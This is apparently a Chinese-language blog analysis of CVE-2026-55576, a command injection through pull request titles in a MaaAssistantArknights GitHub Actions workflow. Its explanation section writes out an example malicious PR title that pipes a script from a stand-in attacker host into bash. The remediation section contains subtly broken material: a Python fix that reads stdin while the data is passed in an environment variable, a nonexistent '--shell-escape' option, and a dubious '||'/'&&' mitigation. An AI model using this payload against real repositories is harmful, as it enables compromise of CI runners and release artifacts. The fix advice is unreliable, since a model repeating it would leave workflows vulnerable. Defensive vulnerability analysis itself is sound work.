🟠 【深度分析】高危安全漏洞:CVE-2026-55576

CVSS 评分: 高危(8.8)🟠  状态: Deferred  发布时间: 2026-07-15


🔍 技术细节速览

字段 值
CVE ID CVE-2026-55576
CVSS 评分 8.8 🟠
严重程度 高危
CVSS 向量 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CWE 分类 CWE-78,CWE-94
发布时间 2026-07-15
最后更新 2026-07-18
状态 Deferred
数据来源 security-advisories@github.com

⚠️ CVSS 4.0 评分: 8.8(高危)
攻击向量 (AV): 网络 (N) | 攻击复杂度 (AC): 低 (L) | 所需权限 (PR): 无 (N) | 用户交互 (UI): 无 (N)
影响范围: 机密性低 (L) | 完整性高 (H) | 可用性低 (L)

漏洞概述

CVE-2026-55576 是一个存在于 MaaAssistantArknights(一款《明日方舟》日常任务自动化工具)开发分支 dev-v2 中的 命令注入漏洞。该漏洞源于 CI/CD 工作流配置不当,导致攻击者可通过构造恶意的 GitHub Pull Request(PR)标题 在 CI runner 上执行任意系统命令。

该漏洞被评为高危(CVSS 8.8),利用条件极低——无需认证、无需用户交互、攻击复杂度低,且攻击向量为网络。一旦成功利用,攻击者可完全控制 CI runner 环境,可能导致源代码泄露、凭据窃取、恶意代码注入等严重后果。

受影响组件与版本

  • 组件: MaaAssistantArknights
  • 受影响分支: dev-v2 分支
  • 受影响工作流: .github/workflows/release-preparation.yml
  • 受影响事件: pull_request 的 opened, reopened, ready_for_review 事件
  • 安全修复版本: commit cafc3946059e6337d2089d4fec8b6885ba17c332 及之后版本

注意: 该漏洞仅存在于开发分支,未明确影响 release 版本。但鉴于 CI/CD 环境常与主仓库共享敏感凭据,即使开发分支也可能对生产安全构成威胁。

漏洞原理分析

技术成因

漏洞根因位于 .github/workflows/release-preparation.yml 工作流中的 generate-changelog 任务。该工作流监听 pull_request 的 opened, reopened, ready_for_review 事件,并在触发时执行一个 run: shell 命令。

关键问题出在 不安全的数据拼接。工作流将 github.event.pull_request.title(即 PR 标题)直接嵌入到 shell 命令字符串中,而未进行任何转义或参数化处理。根据漏洞描述,它仅对 非 Draft、标题以 "Release v" 开头的 Fork PR 触发。

例如,一个简化的工作流片段可能类似:

- name: Generate changelog
  run: |
    echo "Title: ${{ github.event.pull_request.title }}" > changelog.md
    # ... 其他处理

当 TR 标题为 Release v1.0 时,命令正常执行。但如果攻击者提交一个标题为 Release v1.0; curl http://attacker.com/steal.sh | bash ; 的 PR,则 ${{ }} 插值后的 shell 命令变为:

echo "Title: Release v1.0; curl http://attacker.com/steal.sh | bash ;" > changelog.md

由于反引号或双引号未正确处理,攻击者可以 逃逸出字符串上下文,注入任意 shell 命令。在 GitHub Actions runner 默认的 sh shell 中,;、|、&、$() 等特殊字符均可用于命令注入。

CWE 关联

  • CWE-78: OS Command Injection(操作系统命令注入)— 直接证据,shell 命令拼接未过滤。
  • CWE-94: Improper Control of Generation of Code (Code Injection) — 广义代码注入,通过输入控制命令结构。

这是一个典型的 CI/CD 管道安全漏洞,属于供应链安全中的“上游依赖注入”攻击。攻击者通过 fork 仓库并提交恶意 PR,即可在维护者的 CI runner 上执行代码。

攻击条件

  1. 仓库启用了 pull_request 事件的 opened/reopened/ready_for_review 触发器。
  2. 工作流使用 ${{ github.event.pull_request.title }} 未经安全处理。
  3. 攻击者需要提交一个 非 Draft 且 标题以 "Release v" 开头 的 Fork PR。
  4. CI runner 具有 Ubuntu-latest 操作系统(默认环境),且可能拥有 GITHUB_TOKEN 或仓库 secrets。

影响评估

攻击复杂度(AC: L)

漏洞利用不需要复杂的技术知识。攻击者只需理解基本的 shell 命令注入语法,并通过 GitHub API 或 web 界面提交一个结构特殊的 PR 标题即可。

所需权限(PR: N)

攻击者无需任何仓库写入权限,只需一个 GitHub 账号即可 fork 并提交 PR。这是公开仓库的默认权限设置。

用户交互(UI: N)

无需受害者(仓库维护者)点击链接或执行操作。当 PR 提交后,GitHub Actions 会自动触发工作流,攻击直接生效。

潜在后果

影响维度 严重程度 解释
完整性 高 (H) 攻击者可修改 runner 上的文件,包括代码、配置文件、日志等。
机密性 低 (L) runner 可能包含 GITHUB_TOKEN(具有仓库读写权限)或其他 secrets,导致代码泄露。
可用性 低 (L) 攻击者可运行消耗资源的任务导致 runner 挂起或无法释放。
供应链安全 极高 攻击者可注入恶意代码到 release artifacts,影响下游用户。

特别风险: 由于工作流触发于 pull_request 事件且非 pull_request_target,通常 fork PR 不能直接访问仓库 secrets(如 GH_TOKEN 等第三方密钥)。但 GitHub Actions 默认的 GITHUB_TOKEN 仍然可用,且可能具有 contents: write 权限。因此,攻击者可以通过修改 runner 上的 dist/ 目录或篡改 changelog 文件,实现对 release 流程的污染。

修复建议

官方修复

项目已通过提交 cafc3946059e6337d2089d4fec8b6885ba17c332 修复此漏洞。建议所有使用 dev-v2 分支的用户:

  1. 升级到最新版本:将工作流文件同步到包含该 commit 的版本。
  2. 检查分支状态:如果是 fork 项目,从上游仓库拉取最新变更。

手动修复措施

如果无法立即应用补丁,可采取以下临时缓解措施:

1. 使用 || 和 && 替代 ; 分离命令(不推荐,仍有风险)
2. 对用户输入进行严格过滤(推荐)

在工作流中使用 GitHub Actions 的 env 上下文或 ${{ }} 表达式时,确保用双引号包裹变量,并对特殊字符进行转义:

- name: Generate changelog
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    # 使用 env 变量,shell 会保留引号,但还不够安全
    echo "Title: ${PR_TITLE}" > changelog.md

更安全的做法: 使用 Python 或 Node.js 脚本处理输入,避免直接 shell 拼接。

- name: Generate changelog
  run: |
    python3 -c "
    import sys, json
    data = json.loads(sys.stdin.read())
    title = data['pull_request']['title']
    # 进一步消毒 title
    with open('changelog.md', 'w') as f:
        f.write(f'Title: {title}')
    "
  env:
    EVENT_JSON: ${{ toJSON(github.event) }}
3. 限制工作流触发器(推荐)

仅在特定事件(如 push 到 main 或 release 分支)上运行敏感工作流,避免在 PR 事件中处理用户输入。

4. 使用 pull_request_target 但做隔离(谨慎)

如果必须使用 pull_request_target(可访问 secrets),请确保工作流脚本完全不受 PR 上下文输入影响,并使用固定的 checkout commit。

参考资料


总结

CVE-2026-55576 是一个典型的 CI/CD 自动化工作流中的命令注入漏洞,攻击者可以通过提交一个带有恶意标题的 Pull Request 在维护者的 CI runner 上执行任意代码。虽然该漏洞仅影响 dev-v2 分支,但其所处的 CI 环境可能访问到仓库的敏感资源,因此应当优先修复。

安全实践提示:

  • 始终对用户输入(包括 PR 标题、评论、分支名等)进行参数化处理或严格过滤。
  • 避免在 pull_request 事件中直接拼接用户输入到 shell 命令中。
  • 定期审查 GitHub Actions 工作流配置,使用 env 上下文代替直接插值。
  • 考虑使用 GitHub Actions 的 --shell-escape 选项 或外部脚本语言处理输入。